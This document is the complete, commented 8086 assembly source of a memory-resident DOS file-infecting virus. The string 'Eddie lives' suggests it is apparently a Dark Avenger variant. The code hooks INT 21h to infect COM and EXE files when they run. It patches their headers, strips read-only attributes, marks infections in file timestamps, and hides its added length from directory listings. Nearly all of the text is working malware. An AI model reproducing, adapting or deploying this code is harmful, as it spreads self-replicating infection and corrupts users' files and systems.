        page    ,132
        .radix  16

code    segment
        assume  cs:code,ds:code

        org     100

ftime   equ     17              ; File time offset in a dir_entry
fsize   equ     1Dh             ; File size offset in a dir_entry

; Offsets of some entries in the EXE-file header:

epages  equ     4               ; File size in 512 pages
ehsize  equ     8               ; EXE-header size in paragraphs
ememmin equ     0A              ; Minimum memory required
ememmax equ     0C              ; Maximum memory required
estack  equ     0E              ; Offset of SS:SP
ecode   equ     14              ; Offset of CS:IP
elength equ     18              ; Offset of the file length

start:
        jmp     vir_entry

        db      (651d - 8) dup (90)     ; A virus trap program

        mov     ax,4C00         ; It does nothing - just exits
        int     21

vir_entry:
        call    self            ; A common trick for viruses

self:
        pop     bx              ; Determine vir_entry's address
        sub     bx,3            ; Keep it in BX

        push    ax              ; Save AX

        sub     ax,ax           ; Save the original INT 21h handler
        mov     es,ax
        mov     ax,es:[21*4]
        mov     cs:[old_int21-vir_entry+bx],ax
        mov     ax,es:[21*4+2]
        mov     cs:[old_int21-vir_entry+bx+2],ax

        mov     ax,0A55A        ; Check if virus already in memory
        int     21
        cmp     ax,5AA5
        je      installed       ; Skip the rest stuff if so

        mov     ax,sp           ; AX := (SP + 1) * 16 + 1 + SS
        inc     ax
        mov     cl,4
        shr     ax,cl
        inc     ax
        mov     cx,ss
        add     ax,cx

        mov     cx,ds           ; Point ES at program's MCB
        dec     cx
        mov     es,cx

        mov     di,2            ; Decrease memory_top by virus' size
        mov     dx,(buffer-vir_entry+24) shr 4 + 1
        mov     cx,[di]
        sub     cx,dx

        cmp     cx,ax           ; Enough memory?
        jb      installed       ; Don't install if not

        sub     es:[di+1],dx
        mov     [di],cx

        mov     es,cx           ; Move the virus' code
        mov     si,bx           ;  to the allocated memory chunk
        sub     di,di
        mov     cx,(ip_save-vir_entry) shr 1
        cld
        db      2E              ; cs:???
        rep     movsw

        mov     ax,es           ; Set the new INT 21h handler
        mov     es,cx
        cli                     ; Disable interrupts
        mov     word ptr es:[21*4],new_int21-vir_entry
        mov     word ptr es:[21*4+2],ax
        sti                     ; Enable interrupts

installed:
        push    ds              ; ES := DS
        pop     es

        mov     ax,cs:[buffer-vir_entry+bx]
        cmp     ax,'ZM'
        je      start_exe
        cmp     ax,'MZ'
        je      start_exe

; Current (infected) file is a .COM one. Start it:

        mov     di,100          ; Restore the first 3 bytes of the file
        mov     [di],ax
        mov     al,[buffer-vir_entry+bx+2]
        mov     [di+2],al

        pop     ax              ; Restore AX

        push    di              ; Jump to CS:100h
        ret                     ;  via funny rts

; Current (infected) file is an .EXE one. Start it:

start_exe:
        pop     ax              ; Restore AX

        mov     dx,ds
        add     dx,10
        add     cs:[cs_save-vir_entry+bx],dx
        add     dx,cs:[ss_save-vir_entry+bx]
        mov     ss,dx
        mov     sp,cs:[sp_save-vir_entry+bx]
        jmp     dword ptr cs:[ip_save-vir_entry+bx]

new_int21:                      ; New INT 21h handler
        sti                     ; Enable interrupts
        cmp     ax,4B00         ; Exec?
        je      new_exec        ; Go to our own routine if so
        cmp     ah,11           ; FindFirst (FCB)?
        je      new_find
        cmp     ah,12           ; FindNext (FCB)?
        je      new_find        ; Go to our own routine if so
        cmp     ax,0A55A        ; Installation check?
        je      inst_chk        ; Indicate virus in memory if so
        jmp     go              ; Otherwise execute the old INT 21h handler

new_find:                       ; New FindFirst/FindNext (FCB) handler
        pushf                   ; Execute the original function
        call    dword ptr cs:[old_int21-vir_entry]
        test    al,al
        jnz     loc_7           ; Exit on error

        push    ax              ; Save registers AX, BX & ES
        push    bx
        push    es

        mov     bx,dx
        mov     al,[bx]
        push    ax              ; Save AX
        mov     ah,2F           ; Get DTA ptr into ES:BX
        int     21
        pop     ax              ; Restore AX
        inc     al
        jnz     skip_1
        add     bx,7
skip_1:
        mov     ax,es:[bx+ftime] ; Get file time
        and     al,1F           ; The seconds more exactly
        cmp     al,1F           ; Is file infected?
        jne     not_inf ; Exit if not
        and     byte ptr es:[bx+ftime],0E0      ; Zero seconds. Why???

; File infected. Adjust file-size field in the directory
; entry by subtracting the virus length from it.

        sub     word ptr es:[bx+fsize],(buffer+3-vir_entry)
        sbb     word ptr es:[bx+fsize+2],0

not_inf:
        pop     es              ; Restore ES, BX & AX
        pop     bx
        pop     ax
loc_7:
        iret                    ; Done

inst_chk:                       ; Installation check
        not     ax              ; Just invert the number in AX
        iret                    ;  and exit

new_exec:                       ; New Exec function handler
        push    ds              ; Save the registers used
        push    es
        push    ax
        push    bx
        push    cx
        push    dx
        push    si
        push    di

        mov     ax,3524         ; Get current critical error
        int     21              ;  handler in ES:BX

        push    es              ; Save it on stack
        push    bx

        push    ds              ; Save DS & DX
        push    dx

        push    cs              ; DS := CS
        pop     ds

        mov     dx,crit_hndlr-vir_entry
        mov     ax,2524         ; Set new critical error handler
        int     21

        pop     dx              ; Restore DX & DS
        pop     ds

        mov     ax,4300         ; Get file attributes
        int     21
        jnc     skip_2
        sub     cx,cx
        jmp     exit_3          ; Exit on error

skip_2:
        push    cx              ; Save attributes on stack
        test    cl,1            ; Read only file?
        jz      writable        ; Continue if not

        dec     cx              ; Turn off the ReadOnly bit
        mov     ax,4301         ; Set new file attributes
        int     21

writable:
        mov     ax,3D02         ; Open file with write access
        int     21

        push    cs              ; DS := CS
        pop     ds
        jnc     open_ok         ; Continue if open OK
        jmp     exit_2          ; Exit on error

open_ok:
        mov     bx,ax           ; Save file handle in BX

        mov     ax,5700         ; Get file's date & time
        int     21
        jc      loc_13          ; Exit on error

        mov     al,cl           ; Get file's time
        or      cl,1F           ; Mark file as infected
        cmp     al,cl           ; Was file infected?
        jne     infect          ; No, go infect it
loc_13:
        jmp     exit_1          ; Yes, exit

infect:
        push    cx              ; Save CX & DX
        push    dx

        mov     dx,buffer-vir_entry
        mov     cx,24d          ; Read 24 bytes from the
        mov     ah,3F           ;  beginning of the file
        int     21
        jc      err_exit        ; Exit on error
        sub     cx,ax
        jnz     err_exit        ; Exit on error

        les     ax,ds:[buffer+estack-vir_entry]
        mov     ds:[sp_save-vir_entry],es ; Remember the original SS:SP entry
        mov     ds:[ss_save-vir_entry],ax

        les     ax,ds:[buffer+ecode-vir_entry]
        mov     ds:[ip_save-vir_entry],ax ; Remember the original CS:IP entry
        mov     ds:[cs_save-vir_entry],es

        mov     dx,cx           ; DX := 0
        mov     ax,4202         ; Seek to EOF
        int     21
        jc      err_exit        ; Exit on error

        mov     ds:[buffer+elength-vir_entry],ax ; Save original file length
        mov     ds:[buffer+elength+2-vir_entry],dx

        mov     cx,(buffer+3-vir_entry)
        cmp     ax,cx           ; Is file large enough?
        sbb     dx,0
        jb      err_exit        ; Exit if sise < 651
        call    is_exe          ; EXE-file?
        je      do_infect       ; Infect it if so
        cmp     ax,64373d       ; COM-file. Is file size < 64373?
        jb      do_infect       ; Infect it if so
err_exit:
        jmp     set_err         ; Otherwise exit

; The file beeng executed is still not infected and matches
; the size conditions. It can be infected, so do it:

do_infect:
        sub     dx,dx           ; Write the virus code after
        mov     ah,40           ;  the end of file (CX == virus length)
        int     21
        jc      err_exit        ; Exit on error
        sub     cx,ax
        jnz     err_exit        ; Exit on error

        mov     dx,cx           ; DX := 0
        mov     ax,4200         ; Seek to the beginning of the file
        int     21
        jc      err_exit        ; Exit on error

        mov     ax,ds:[buffer+elength-vir_entry]
        call    is_exe          ; Is the file of .EXE-type?
        jne     inf_com         ; No, infect it as a .COM one

; Infection of an .EXE-file:

        mov     dx,ds:[buffer+elength+2-vir_entry]
        mov     cx,4
        mov     si,ds:[buffer+ehsize-vir_entry]
        sub     di,di
lp:
        shl     si,1
        rcl     di,1
        loop    lp

        sub     ax,si
        sbb     dx,di
        mov     cl,0C
        shl     dx,cl
        mov     ds:[buffer+ecode-vir_entry],ax
        mov     ds:[buffer+ecode+2-vir_entry],dx
        add     dx,31
        nop
        mov     ds:[buffer+estack+2-vir_entry],ax
        mov     ds:[buffer+estack-vir_entry],dx
        add     ds:[buffer+ememmin-vir_entry],9
        mov     ax,ds:[buffer+ememmin-vir_entry]
        cmp     ax,ds:[buffer+ememmax-vir_entry]
        jb      skip_3
        mov     ds:[buffer+ememmax-vir_entry],ax
skip_3:
        mov     ax,ds:[buffer+2-vir_entry]
        add     ax,buffer+3-vir_entry
        push    ax
        and     ah,1
        mov     ds:[buffer+2-vir_entry],ax
        pop     ax
        mov     cl,9
        shr     ax,cl
        add     ds:[buffer+epages-vir_entry],ax
        jmp     short wr_head           ; Done

; Infection of a .COM-file:

inf_com:
        sub     ax,3                    ; Put a jump into the virus code
        mov     byte ptr ds:[buffer-vir_entry],0E9      ; as a first
        mov     ds:[buffer+1-vir_entry],ax      ;  instruction of the file

wr_head:
        mov     dx,buffer-vir_entry
        mov     cx,24d          ; Write the buffer back to the file
        mov     ah,40
        int     21
        jc      set_err         ; Exit on error
        cmp     ax,cx
        je      exit_0          ; Exit without error

set_err:
        stc                     ; Indicate an error has occured

exit_0:
        pop     dx              ; Restore DX & CX
        pop     cx

        jc      exit_1
        mov     ax,5701         ; Restore file date & time if needed
        int     21

exit_1:
        mov     ah,3E           ; Close file
        int     21

exit_2:
        pop     cx              ; Restore file attributes from stack

exit_3:
        test    cl,1            ; Was file read-only?
        jz      exit_4          ; Skip the following if not

        mov     ax,4301         ; Restore file attributes
        int     21

exit_4:
        pop     dx              ; Restore the original
        pop     ds              ;  critical error handler
        mov     ax,2524         ;  from the stack
        int     21

        pop     di              ; Restore the registers used
        pop     si
        pop     dx
        pop     cx
        pop     bx
        pop     ax
        pop     es
        pop     ds

go:                             ; Exit through the old INT 21h handler
        jmp     dword ptr cs:[old_int21-vir_entry]

crit_hndlr:                     ; Critical error handler
        mov     al,3            ; Just return Fail (and DOS < 3.0 ???)
        iret                    ;  and exit

is_exe:                         ; Tell if the file is an .EXE one
        mov     si,ds:[first_3-vir_entry]
        cmp     si,'ZM'
        je      yes
        cmp     si,'MZ'
yes:
        ret

        db      'Eddie lives',0 ; Not used
old_int21       dd      ?       ; Old INT 21h handler
ip_save dw      ?               ; Save places for some
cs_save dw      ?               ;  entries in the .EXE-header
sp_save dw      ?
ss_save dw      ?
buffer  equ     $
first_3 db      0E9,83,2        ; The original first 3 bytes of the file

code    ends
        end     start
